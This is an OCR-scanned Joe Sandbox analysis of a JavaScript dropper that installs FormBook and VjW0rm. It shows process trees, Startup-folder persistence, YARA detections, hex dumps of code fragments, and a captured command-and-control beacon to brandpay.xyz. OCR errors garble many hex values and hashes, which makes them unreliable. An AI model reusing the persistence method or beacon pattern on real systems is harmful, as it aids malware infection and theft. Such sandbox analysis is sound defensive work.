©afs 53 63 6¢ 30 74 57 47 79 68 51 41 62 45 38 66 46 4c 67 78 34 37 61 4a 37 52 65 32 43 38 49 6b 37 4e 7e 45 4f 64
797564 6¢ 41 71 66 34 51 5a 48 59 48 44 70 33 59 4d 78 50 45 76 50 6d 4f 58 44 44 53 57 45 39 4a 72 31 72 6f 6a 68
56 6d 50 30 59 6a 76 76 78 45 51 75 54 52 48 4f 62 48 72 75 75 33 76 4a 41 7e 70 4d 2d 30 72 7a 46 4f 47 64 69 67 74 3
83971645451 7047 42 39 65 59 64 59 4d 39 38 55 59 47 51 74 6b 4c 51 63 44 71 4b 51 73 57 32 67 49 4e 78 51 76
5f 78 56 49 2d 59 44 72 51 71 55 31 34 56 56 66 69 4e 76 39 36 59 6¢ 54 4e 58 45 42 68 39 41 36 50 73 75 64 35 35 31
78 4b 73 75 76 44 6a 5a 4a 4c 44 46 72 63 30 62 62 55 4f 35 6 49 6d 45 56 4b 53 70 62 62 70 68 4b 46 31 33 4e 37 6b
73 4f 6b 65 49 37 41 38 54 6e 2d 55 4b 33 50 6e 69 58 53 4a 73 4f 56 4d 4a 56 56 36 47 76 69 4d 6d 73 64 45 68 4a 59
52 53 72 65 4e 64 35 2d 7e 79 38 79 75 62 34 52 7a 49 35 4f 74 6e 34 42 62 6¢ 6¢ 2d 67 52 36 72 4b 4a 63 59 6f 79 4d
57 31 41 28 4f 28 6d 61 68 4f 67 55 6b 74 52 5a 50 4c 39 6a 79 70 45 69 67 4e 51 28 56 69 4e 41 68 7e 30 6a 64 70 45
54 78 53 4b 68 67 76 7a 39 4a 34 33 6¢ 4a 54 79 64 71 46 68 41 45 71 61 6e 68 6e 6b 78 78 41 44 66 78 6a 6a

Data Ascii: 3fk4oN=uiOmV4q6co9bgHHyKaly9-BS9doaCuyOmcaxs|7hCOjT~TOnizkzVZSt8Jpa5FTEdxLW(qH
4AMUSFixK2BA174evbCEALVi7jDO7CteP64m8yjvBEgbN30HzBSL0o8JeNOE6KIH8VDIdr_L8d-88t3Cch6HaDOFJRCC
dsAcBORX26CWytAUEJLXxDn4HbLGIzQsbhGMWkH1SMdlahZOzFm996BIV1Ea9TAG83VWNPBKNTICRrNfYo
79009x6MsvmHOTAt1800ar2H3sQlcL6GYwafHBYMP3Xc03e8witrjiBY 2~zU-Gg2VcMj5PvZQTif1770-celHbOYcS
vnl97elXbC6M_7DVu9ihIRQRPR7zkuSh6kk111WJ8cHGFAs~z9bVK?2i4t8rqP1dCO4j1pEYcKfW21xorzQjR-jzG5R
8nxstwMJIZYUTJILwgHVOdKRBNRfHxtnNiz6fLDcT5tA69BWX9FML1CR3CdkQzouXtWcgxDIKLnLNBUjBX2exvsxbVbd
WpxBwoYCSTD~51YS-PmaSdolFgT7GMVjFhYgiChYrZPpOOmS3N19dB30ilPN2CGIGmMK1Hh5aAk2clkRZtikgAd17J5
yBZ9NZghB9eHBwo0g6zQDp380E3YDnw70otBLNmX1LJga3sn3kJbAiQvjFh9_nKgKQvm-brdleaObpg3khUS_AcNOEPV
z(Y3hQ7Baeu5vvQDJpsm-XnozDWwBYI84CGNCf2fc6VOFeqwn89FJ2S7seXhzLruQ7xVw2Z6MssTWLZGtI70x9f573
NshNa7UIRzBhIHWJILEVn1C_DnYUojz7N69Rrody(53TyP7pHB2L08(HJuuglFHyoaAKJO(bASlyu7CRePFHzCGbOLa
YP2lyYPkvaRvWGfoSIGjxn0lJbnpFGX1ZphAlhfZghQP21dbcMM1_KQpoHwWUzNrABcipgN3ib17ZRNKE9WhZPBbYg8
GtiCjkFjcXSclotWGyhQAbESfFLgx47a]7Re2C8Ik7N~EOdyudIAqf4QZHYHDp3YMXPEVPMOXDDSWE9JrirojhVmPO
YjvwxEQUTRHObHruu3vJA~pM-0rzFOGdigt89qdTQpGB9eYdYM98UY GQtkLQcDgKQsW2gINxQv_xVI-YDrQquU14VVf
iNVI6YITNXEBh9A6Psud551xKsuvDjZJLDFrcObbUO50ImEVKSpbbphKF13N 7ksOkel7A8Tn-UK3PniXSJsOVMJIVV6
GviMmsdEhJYRSreNd5-~y8yub4RzI50tn4Bbll-gR6rKJcY oyMW1A(O(mahOgUktRZPLYjypEigNQ(ViNAh~0jdpET
xSKhgvz9J4313TydgFhAEganhnkxxADfxjjROlu3yMOEyEelqltigKkcgyr_Din-1jWSrg20HhD4QCe_0c7JV3fzMog
nHtA_RbYehoO9TgyHRkdwv7MOt_rFOxGJdgzXkt9cfHSDoENdAF8Y XIdCTJIDQ5wvolgr~waiaV2Ix10KxZgM~kSOR
ORUB_4rSYIsK10NpZM9rpOK8WMROOY nVBMKQMtEMsTX8LaxbsQX(7mSYY (K(Gn1WICey-g7NS50ZZKL7
y5P9e81Z0iaafYcvFbDP5AhgNeAHt9sgtwOdBxSm708va8ftBDDpu4b2Y Sifr270n8EDb~R8yXr511eAHRK57AZTTj
QyhHtrN1GHfwrwpuv6C8DUcadNgrF6623m7aD9cZTh2vQ8FMAe4~nBPGVWwKO2XsygK98tlcMkBHogb8gfjet8ttrA
5vDkc1jEuprxy~C3C33~Uc0328LLaC5389kB6gYmpskimLQ(AV2uduSugmLQppPd-KiUoYnOINIG6mcY5dfc5n9e0X
OcKDd2qSsJIM5fssYa~FHt5-P1G90E3JVIeQImK9z4PRjp9GbYFAd80223achwHGCvmJIFzZXw7NwMQHOee3LYrq72qUv
FKYImMLAWt1MG9en7-HDpplACxa0WeemjgXmYOtqEezmv78RTIPZ4-q_ylOCQ5N7Ck6BIWL1w-GNsIWgSjBCTgnuLUW
8ImJIDwWOfY5yWYkHB4gM4xJWyWBGTV4VMpJ5v9jmagOotHKPwreAj3uV-8XMBLx2X1zEp(pveyEdskOtEqD6_6Ca3l-z
B3a8rlIHT4nxbnRIGHgM1PI87(n5StTxbY30k06eziZ061S4MaCowgNaMPybhtE~tOx9LFzPEMjXQjakv1RifoBX1(
5zC7EYMMyem5gLXnuls42XQbwJGd-WortPQ5nkeXDfdWjMj2tINLNB95GW6dG5LIKDahBi5Pko1APK5(YtBX9TQgzp
dp1lEUxgd5UwgpWwI9Tibm2(RcOwWM7Gduplkyf23aA4ftAgSBMeM4oYgH~QFp6IDcwthECJjWjcCw8DYelJCpm6CjAMb
StcshD5gDdPTs~6N4niVYofHS70rYY1713ul7p3EVdhf4Vs7AI5sCbLT2YmGbZLu5zNVvexROMx8a3WKLQdf9aDjTk
p0aYJ567mUZi-XoHT2HIcrB54IT9_XDx5XzprDVOucvFmLRwyLcaS2zTuXB1BwGXyitrnOwbbBOGvcZkmdBStRDMNA
car9ST76Y3V9staztglrYgxsFrbfBNgYXX6QOEkr5QVa4(NgtwSA278ZpqSaPiuWevjW83HWyYDIFC7IssC5j46z00C
Y2992SuNvT-Lkl78n7W9coHAFpj2cLYré6xocZFAeSScllwpUdM5NIgidUOPTVxsL~Q33cm9_xTrSy1GTkBgsmFRHg
n7bBbN04-84p75XDXJINfeh-iTnmAXwPUqoAwdrx5Fc2BMu8nUB712IbYrt7HheroX0V7svwGHYbaGWBMB85BtEJWIMC
M~m(SofCcHEV8oVn-pxykSWNXAyuGszG35Bt8IHydZBaaUWxD7tRwy2Ki~Hm3JhOp1TulysAwkPlls_KJXdskdDaBg
mA5fhUp(1xBgHG0Z6KulfE42CFC7ziuAYbSNaBS5w(bMMeHDVPIxjtgxxF3r6lTeusveL CMbLUKOF86PeElvmxPdoq
TOZY_~rzi8FfzcylZCh(PPtIZgZNuY ntugArgAAWW (Kc9V3KbSAAagFOSkgamBXZIE_w141zccQcGqITKNMUAXCHt3
bvVVKQytOMmLtvCIF8Ks3h9pUjWP69QunKOVpdolCH15WSpZ2IN2Y9MIjg6GeUI30II~O~XoE2iUFvncax-X7ZAEUP
0ANKVO7TtSV7Xa-z-XmqfjHjtsi8BHShb5P_xMOhjHoCVJI0OOgFXDWUY 1J9rWWAG4AM_ThwvWnn4VQTWbtUS3ENIG V3V
b4pwwFjMIoRJIG4dquhY 7tlV2PYmBMjjKYJ3ulmIDB(enN6cYM3nC7FcoXzOmCE9T1ocTS28RNSREiwahpK4YDB-Fhy
XFOEOmM80ukbKoX61wWjbuHGrivIEWwWIZID_CtigkQKGaEvk7Q1ho5C1I6gEWUAEBEEKyrTuK38n~tk_babS~CHV5FP
JCmE-FPORUsFYdP4hcsORNPfGbsFBYQPshLWNerhgdemxymVuiKJWkXMGs-X7CixCcel2QIKT9w8b8sYaewsMtI5en
6hg4HLL(z50HrUkz1WJesVFBV~r6tyKvJRoMTqCGsalv5R8Y 2L mlhvsSWcB0e3Z7zQjRbgh5cANGQr8P3bRd5YgU7u
RALC-3HIJT63XI_FXfZITFIIAUBVj7UZLK8SSVA40N9roxAUqV3bRKFHAOT5SWAHNRGNONiX7t3npel7Fid4wclON(fA
SnH4Axwho0zquEP8v~z~xwbx6IL(9vNOsB9ayqqT4lzodiYIvS-WEBMGWLJIVK3Zc2nPKz7JrsMu2Cl4ICDDfAs7DDL
HNR285fGOzPA_3HVQVRIa5-gxDoMRhG2QiBTxPCSgqlh1J244BGWPYY288wQkdD2s9sr4mxXQg02HbVZ
URLVENC3Qvm5FfluPqVTThuLeCiMjgLWxqa5FylJkcRJ_VUV3zasXnLvhvqCYOLEe4fzeDfImTRIY3VOpuzOG7_B_p
IAC3i(X1p(SxYO_YnqoliFhhZlJvdwdaZQdcXD52zrTy9n2~AeX7XyJQKUoP3b6oyewgoqCgaPgYtl

HTTP/1.1 410 Gone

Server: openresty

Date: Fri, 27 May 2022 17:05:24 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Data Raw: 37 0d Oa 3c 68 74 6d 6¢ 3e 0a 0d Oa 39 0d 0a 20 20 3c 68 65 61 64 3e 0a 0d Oa 34 63 0d Oa 20 20 20 20 3c
6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 30 3b 20 75
72 6¢ 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 62 72 61 6e 64 70 61 79 2e 78 79 7a 2f 27 20 2f 3e O0a 0d Oa 61 0d Oa 20 20 3c
2f 68 65 61 64 3e 0a 0d Oa 38 0d Oa 3c 2f 68 74 6d 6¢ 3e Oa 0d Oa 30 0d Oa 0d Oa

Data Ascii: 7<htm|>9 <head>4c <meta http-equiv="refresh' content="0; url=http://www.brandpay.xyz/' />a </head>8</ht
mi>0

Destination IP Destination Port Process
3.64.163.50 80 C:\Windows\explorer.exe
Data

GET /np8s/?3fkdoN=hgAcLcCQcJ9fw2P/TukOsK1oy/luL6ulzsG1lwPPsT2rq6CikgixxXMntvKpZgE TXTWLI6SHO
ZA==&Eh=mhUxI HTTP/1.1

Host: www.brandpay.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Timestamp

May 27, 2022
19:05:24.049686909
CEST

Statistics

Behavior

System Behavior

kBytes

Direction Data
transferred

256 IN HTTP/1.1 410 Gone
Server: openresty
Date: Fri, 27 May 2022 17:05:24 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close

Data Raw: 37 0d Oa 3c 68 74 6d 6¢ 3e 0a 0d Oa 39 0d Oa 20 20 3c 68 65 61 64 3e Oa 0d Oa 34 63 0d Oa 20 20 20 20 3c
6d 6574 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 30 3b 20 75
72 6¢ 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 62 72 61 6e 64 70 61 79 2e 78 79 7a 2f 27 20 2f 3e Oa 0d Oa 61 0d Oa 20 20 3c

2f 68 65 61 64 3e Oa 0d Oa 38 0d Oa 3c 2f 68 74 6d 6¢ 3e Oa 0d Oa 30 0d Oa 0d Oa

Data Ascii: 7<html>9 <head>4c <meta http-equiv="refresh' content="0; url=http://www.brandpay.xyz/' />a </head>8</ht

mi>0

@ wscript.exe
@ wscript.exe
@ bin.exe

@ explorer.exe
@ wscript.exe
@ wscript.exe
@ wscript.exe
@ help.exe

® cmd.exe

@ conhost.exe
@ cmd.exe

@ conhost.exe
@ u8g48fgOphzxan.exe

Click to jump to process

Analysis Process: wscript.exe PID: 5708, Parent PID: 3688

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

0

19:02:42

27/05/2022

C:\Windows\System32\wscript.exe

false

C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\CIQ-P0O162688.js"
0x7ff743d80000

163840 bytes

9A68ADD12EB50DDE7586782C3EBIFFOC

true

true

C, C++ or other language

Copyright Joe Security LLC 2022
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Yara matches: e Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:

00000000.00000003.402204010.000001873775D000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000003.396143757.0000018737B4E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000000.00000003.396143757.0000018737B4E000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000003.396143757.0000018737B4E000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.388216987.00000187377E3000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000003.396132606.000001873784D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000003.396132606.000001873784D000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.386427385.0000018737747000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

e Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000002.403161065.000001873775E000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

e Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.388318935.0000018737762000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000002.403282167.000001873784D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000002.403282167.000001873784D000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000003.401485151.000001873784D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000003.401485151.000001873784D000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.402093855.0000018737752000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

e Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.396207507.00000187377A4000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

e Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.398203323.00000187377E8000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

e Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.398506960.000001873779E000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000002.403466311.0000018737EA0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

* Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000000.00000002.403466311.0000018737EA0000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000002.403466311.0000018737EA0000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.396086134.00000187377EC000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

e Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.396200363.000001873779E000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000003.397537336.0000018737493000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000000.00000003.397537336.0000018737493000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000003.397537336.0000018737493000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.387944732.00000187377E9000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

e Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.401344899.00000187377EA000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000003.402063776.000001873784D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000003.402063776.000001873784D000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

Reputation: high

File Activities

Analysis Process: wscript.exe PID: 6132, Parent PID: 5708

General

Target ID: 1

Start time: 19:02:49

Start date: 27/05/2022

Path: C:\Windows\System32\wscript.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\wscript.exe" /B "C:\Users\user\AppData\Roaming\RmiljXZkdd.js
Imagebase: 0x7ff743d80000

File size: 163840 bytes

MD5 hash: 9A68ADD12EB50DDE7586782C3EBIFFOC

Has elevated privileges: true
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Has administrator true

privileges:
Programmed in: C, C++ or other language

Yara matches: .

Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:

00000001.00000003.393763999.0000022181D85000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000001.00000002.908396849.00000221FFEFE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000001.00000002.907846772.0000022181D81000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000001.00000003.393894114.0000022181D85000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Reputation: high

File Activities

File Created

File Path

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\RmiljXZkdd.js

File Written
File Path Offset Length
C:\Users\user\AppData\Roaming\ 0 11475

Microsoft\Windows\Start Menu\P
rograms\Startup\RmiljXZkdd.js

File Path

Registry Activities

Access

read data or list
directory | read
attributes |
delete | write dac
| synchronize |
generic read |
generic write

Value

7€28214172726179
2e 70 72 6f 74 6f 74 79
70 65 2e 66 6f 72 45 61
63 68 20 3f 2041 72 72
61 79 2e 70 72 6f 74 6f
7479 70 65 2e 66 6f 72
45 61 63 68 20 3d 20 66
75 6e 63 74 69 6f 6e 20
28 63 61 6¢ 6C 62 61 63
6b 2c 20 74 68 69 73 41
72 67 29 20 7b 0a 20 20
2020746869 734172
67 20 3d 20 74 68 69 73
4172 67 3b 0a 20 20 20
20 66 6f 72 20 28 76 61
72 2069 20 3d 20 30 3b
20 69 20 3c 20 74 68 69
73 2e 6¢ 65 6e 67 74 68
3b 20 69 2b 2b 29 20 7b
0a 20 20 20 20 20 20 20
20 63 61 6¢ 6¢ 62 61 63
6b 2e 63 61 6¢ 6¢ 28 74
68 69 73 41 72 67 2¢ 20
74 68 69 73 5b 69 5d 2¢
2069 2¢ 20 74 68 69 73
29 3b 0a 20 20 20 20 7d
Oa 7d 20 3a 20 30 2c 20
214172726179 2e 70
72 6f 74 6f 74 79 70 65
2e 6d 61 70 20 3f 20 41
72726179 2e 70 72 6f
74 6f74 79 70 65 2e

Offset

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path Name

Type

Data

Analysis Process: bin.exe PID: 684, Parent PID: 5708

General

Target ID: 2

Start time: 19:02:50
Start date: 27/05/2022
Path:

Copyright Joe Security LLC 2022

C:\Users\user\AppData\Local\Temp\bin.exe

Attributes

device

Options Completion

sequential only |  success or wait

non directory file

Ascii Completion

= success or wait
('Array.prototype.forEach
? Array.prototype.forEach
= function (callback,
thisArg) { thisArg =
thisArg; for (vari=0;i
< this.length; i++) {
callback.call(thisArg,
this[i], i, this); }}:0,
!Array.prototype.map ?
Array.prototype.

Length Completion

Completion

Count Source Address

1 7TFFF2ED4700A

Count Source Address

1 7TFFF2ED4700A

Count Source Address

Count Source Address

Symbol

CopyFilew

Symbol

CopyFileW

Symbol

Symbol
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Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

true
"C:\Users\user\AppData\Local\Temp\bin.exe"
0xfc0000

175616 bytes
FF568D4337CE1566C4140FA2FEDF8DB8
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000002.00000002.506353568.0000000000AD0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000002.00000002.506353568.0000000000AD0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding

dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:

00000002.00000002.506353568.0000000000AD0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000002.00000002.506312431.0000000000AA0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000002.00000002.506312431.0000000000AA0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding

dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:

00000002.00000002.506312431.0000000000AA0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000002.00000002.509633040.0000000000FC1000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000002.00000002.509633040.0000000000FC1000.00000020.00000001.01000000.00000005.sdmp, Author: Felix Bilstein - yara-signator at cocacoding

dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:

00000002.00000002.509633040.0000000000FC1000.00000020.00000001.01000000.00000005.sdmp, Author: JPCERT/CC Incident Response Group
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000002.00000000.395957162.0000000000FC1000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000002.00000000.395957162.0000000000FC1000.00000020.00000001.01000000.00000005.sdmp, Author: Felix Bilstein - yara-signator at cocacoding

dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:

00000002.00000000.395957162.0000000000FC1000.00000020.00000001.01000000.00000005.sdmp, Author: JPCERT/CC Incident Response Group
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: Felix

Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: JPCERT/CC Incident Response

Group

Antivirus matches: e Detection: 100%, Avira

e Detection: 100%, Joe Sandbox ML

e Detection: 49%, Metadefender, Browse

e Detection: 100%, ReversingLabs
Reputation: low
File Activities
File Read
File Path Offset
C:\Windows\SysWOWwWe64\ntdll.dll 0

Analysis Process: explorer.exe PID: 3688, Parent PID: 684

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

3

19:02:53

27/05/2022

C:\Windows\explorer.exe

false

C:\Windows\Explorer.EXE

0x7ff77c400000

3933184 bytes
AD5296B280E8F522A8A897C96BABOELD
true

true

C, C++ or other language

Copyright Joe Security LLC 2022

Length

1622408

Completion

success or wait

Count Source Address Symbol

1 FDA417 NtReadFile
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https://www.metadefender.com/#!/results/file/bzIyMDUxOTRPcjhybHI3UUoxZmw1aTVYeHg/regular/analysis

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000000.476161030.00000000056FF000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000003.00000000.476161030.00000000056FF000.00000040.00000001.00040000.00000000.sdmp, Author:

dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:

00000003.00000000.476161030.00000000056FF000.00000040.00000001.00040000.00000000.sdmp, Author:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000000.446024174.00000000056FF000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000003.00000000.446024174.00000000056FF000.00000040.00000001.00040000.00000000.sdmp, Author:

dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:

00000003.00000000.446024174.00000000056FF000.00000040.00000001.00040000.00000000.sdmp, Author:

Reputation: high

File Activities

File Created
File Path

C:\Users\user\AppData\Local\Temp\Irir8ftbp

C:\Users\user\AppData\Local\Te
mp\Irlir8ftbp\u8g48fgOphzxan.exe

File Deleted
File Path

C:\Users\user\AppData\Local\Temp\Irlr8ftbp\u8g48fgOphzxan.exe

File Written
File Path

C:\Users\user\AppData\Local\Te 0
mp\Irir8ftbp\u8g48fgOphzxan.exe

File Path

Registry Activities

Copyright Joe Security LLC 2022

Offset

Access Attributes Options Completion
read data or list  device | directory file | success or wait
directory | compressed synchronous io
synchronize non alert | open

for backup ident

| open reparse

point
read data or list  device | synchronousio  success or wait
directory | write  compressed non alert | non
data or add file | directory file
append data or
add subdirectory
or create pipe
instance | read
ea | write ea |
read attributes |
write attributes |
read control |
synchronize

Completion
success or wait
Length Value Ascii Completion

175616 4d 5a 45 52 fd 00 00 00
00 58 fd fd 09 fd 03 fd 3¢
fd 00 03 fd fd fd 28 03 08
fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
fd 00 00 00 Oe 1f fd Oe 00
fd 09 fd 21 fd 01 4c fd 21
54 68 69 73 20 70 72 6f
67 72 61 6d 20 63 61 6e
6e 6f 74 20 62 65 20 72
75 6e 20 69 6e 20 44 4f
53 20 6d 6f 64 65 2e 0d
0d 0a 24 00 00 00 00 00
0000 1d 76 fd 26 59 17
fd 7559 17 fd 75 59 17 fd
7542fd6d 7517 17 fd
7542 fd 58 75 5a 17 fd
7542 fd 5b 75 58 17 fd
7552 69 63 68 59 17 fd
7500 00 00 00 00 00 00
00 50 45 00 00 4c 01 01
00 24 fd 18 3f 00 00 00
00 00 00 00 00 fd 00 02
01 0b 01 0a 00 00 fd 02
00 00 00 00 00 00 00 00
00 fd fd 01 00 00 10 00
00 00 fd 02 00 00 00 40
00 00 10 00 00 00 02 00
00 05 00 01 00 00 00 00

Offset

MZERX<(IL!This program success or wait
cannot be run in DOS
mode.$v&YuYuYuBm
uuBXuZuB[uXuRichYuP

EL$?@

Length

Completion

Count Source Address

1 6737A72

1 673EF9F

Count Source Address

1 673EEC8

Count Source Address

1 673F284

Count Source Address

Felix Bilstein - yara-signator at cocacoding

JPCERT/CC Incident Response Group

Felix Bilstein - yara-signator at cocacoding

JPCERT/CC Incident Response Group

Symbol

CreateDirect
oryWw

NtCreateFile

Symbol

NtDeleteFile

Symbol

NtWriteFile

Symbol
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There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path

Key Path

Name

Name Type

Type Data

Old Data

Analysis Process: wscript.exe PID: 5812, Parent PID: 3688

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
